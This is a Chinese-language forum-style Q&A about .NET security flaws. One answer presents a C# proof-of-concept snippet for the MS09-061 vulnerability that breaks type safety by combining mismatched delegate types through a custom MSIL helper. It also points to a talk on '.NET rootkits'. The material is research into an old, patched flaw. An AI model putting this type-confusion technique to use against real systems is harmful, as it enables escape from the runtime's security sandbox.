我正在研究.NET安全性。大部分资源只是描述了.NET安全机制,但没有提到可能存在的漏洞或需要注意的事项。您知道.NET平台上的任何安全问题吗?
这是MS09-061的漏洞利用。
在我的类型安全漏洞示例中,我使用了联合来绕过类型安全性。这并不是一个实际的安全漏洞,因为这样的联合需要完全信任。然而,如果我们可以组合两种不同的委托类型,我们也可以做到同样的事情,并且由于缺少类型检查,这是可能的。
如果您使用TypeSafetyExploitPoC.cs并将TypeSystemHole方法替换为以下内容,并添加对包含CombinePoCHelper.il的程序集的引用(以MSIL编写,因为这是编写自己的MulticastDelegate子类并调用受保护的CombineImpl方法最简单的方法)。
delegate void AnotherDelegate(Union1 u2);
static Union1 TypeSystemHole(Union2 u2)
{
Union1 u1 = null;
CombineHelper del1 = delegate { };
AnotherDelegate del2 = delegate(Union1 u) { u1 = u; };
del1 = (CombineHelper)CombineHelper.CombineHack(del1, del2);
del1(u2);
return u1;
}
在我看来,这种情况再次发生的可能性很低。
如果你对编程有兴趣,可以看看 Erez Metula 在今年的 Blackhat 大会上的演讲(正在进行中)。他介绍了一些技术,可以利用这些技术来入侵 .NET Framework 并实现“.NET Rootkits”。不过需要注意的是,这些技术需要 root 访问权限。